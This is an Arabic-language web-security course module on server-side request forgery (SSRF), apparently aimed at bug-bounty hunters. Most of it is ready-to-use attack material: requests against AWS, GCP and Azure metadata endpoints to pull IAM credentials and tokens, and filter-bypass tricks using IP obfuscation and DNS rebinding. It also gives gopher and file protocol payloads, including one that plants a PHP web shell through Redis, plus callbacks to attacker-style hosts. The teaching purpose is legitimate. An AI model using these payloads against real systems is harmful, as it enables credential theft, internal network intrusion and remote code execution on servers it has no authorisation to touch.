فئات ثغرات الويب
تزوير طلبات جانب الخادم (SSRF)
3 دقيقة للقراءة
SSRF يخدع الخوادم لإجراء طلبات لمواقع غير مقصودة. إنها ثغرة عالية التأثير يمكن أن تؤدي للوصول للشبكة الداخلية، سرقة بيانات السحابة الوصفية، وRCE.
كيف يعمل SSRF
إدخال المستخدم: https://attacker.com/image.jpg
↓
التطبيق يجلب URL
↓
بدلاً من ذلك: http://169.254.169.254/meta-data/
↓
الخادم يعيد بيانات داخلية للمهاجم
نقاط دخول SSRF الشائعة
| الميزة | مثال المعامل |
|---|---|
| معاينة URL | url=، link= |
| إنشاء PDF | document_url= |
| جلب الصور | image_url=، avatar= |
| Webhooks | callback_url= |
| استيراد الملفات | import_url= |
| تكاملات API | endpoint= |
اختبار SSRF الأساسي
# الخطوة 1: حدد معاملات URL
GET /fetch?url=https://example.com
# الخطوة 2: اختبر مع callback الخاص بك
GET /fetch?url=https://your-server.com/ssrf-test
# الخطوة 3: تحقق إذا الخادم يجري الطلب
# راقب سجلات خادمك للاتصال الوارد
# الخطوة 4: استهدف الموارد الداخلية
GET /fetch?url=http://127.0.0.1:80
GET /fetch?url=http://localhost/admin
GET /fetch?url=http://192.168.1.1/
استغلال بيانات السحابة الوصفية
AWS
# بيانات المثيل الوصفية
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# احصل على بيانات اعتماد دور IAM
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# بيانات المستخدم (قد تحتوي أسرار)
http://169.254.169.254/latest/user-data/
GCP
# يتطلب رأس: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure
# يتطلب رأس: Metadata: true
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
تقنيات التجاوز
تشويش عنوان IP
# التدوين العشري
http://2130706433/ # = 127.0.0.1
# التدوين السداسي عشري
http://0x7f000001/
# التدوين الثماني
http://0177.0.0.1/
# IPv6
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
# ترميز URL
http://127.0.0.1%00@attacker.com/
إعادة ربط DNS
# أعد DNS ليحل لـ IP داخلي
# الحل الأول: IP المهاجم (يمر من التحقق)
# الحل الثاني: 127.0.0.1 (الطلب الفعلي)
# خدمات مثل rebind.it، nip.io
http://127.0.0.1.nip.io/
تهريب البروتوكول
# بروتوكولات مختلفة
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a # Redis
dict://127.0.0.1:11211/stats # Memcached
file:///etc/passwd # قراءة ملف محلي
SSRF الأعمى
عندما لا يمكنك رؤية الاستجابة:
# الكشف القائم على الوقت
# استهدف نقطة نهاية بطيئة، قس وقت الاستجابة
# الكشف خارج النطاق
# استخدم Burp Collaborator أو مشابه
url=http://<collaborator-id>.burpcollaborator.net/
# استهدف الخدمات الداخلية التي تسبب آثاراً جانبية
# مثل إرسال بريد، إنشاء ملف، تعديل قاعدة البيانات
SSRF إلى RCE
Redis (المنفذ 6379)
# استخدام بروتوكول gopher
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$34%0d%0a%0a%0a<?php system($_GET['c']); ?>%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
الخدمات الداخلية
# Solr admin
http://127.0.0.1:8983/solr/admin/
# Jenkins
http://127.0.0.1:8080/script
# Elasticsearch
http://127.0.0.1:9200/_cluster/health
إثبات التأثير
لتقارير الثغرات، أثبت تأثيراً ملموساً:
## إثبات تأثير SSRF
### الوصول لبيانات AWS الوصفية
- استرجعت بيانات اعتماد IAM للدور: webapp-prod
- بيانات الاعتماد تسمح بإدراج دلاء S3
- 47 دلو متاح بما في ذلك customer-data-backup
### الوصول للشبكة الداخلية
- مسح المنافذ كشف 3 خوادم ويب داخلية
- Jenkins (8080) متاح بدون مصادقة
- Redis (6379) يسمح بالوصول غير المصادق
مكافآت من العالم الحقيقي
| الشركة | التأثير | المكافأة |
|---|---|---|
| Shopify | الوصول لبيانات AWS الوصفية | 25,000 دولار |
| GitLab | مسح الشبكة الداخلية | 10,000 دولار |
| Uber | الوصول للخدمة الداخلية | 12,500 دولار |
| بيانات السحابة الوصفية | 15,000 دولار |
نصائح الاختبار
- تحقق من كل معامل URL: حتى غير المباشرة
- اختبر معالجة البروتوكول: file://، gopher://، dict://
- جرب تقنيات التجاوز: عندما تفشل الحمولات الأساسية
- ارسم الشبكة الداخلية: بمجرد تأكيد SSRF، عدد
- سلسل مع ثغرات أخرى: SSRF + خدمة داخلية ضعيفة = حرجة
نصيحة احترافية: بيانات السحابة الوصفية هي الكنز المقدس لـ SSRF. اختبر دائماً 169.254.169.254 أولاً—بيانات الاعتماد المسربة غالباً تعني خطورة حرجة.
الوحدة التالية: سنستكشف تقنيات الاستغلال المتقدمة. :::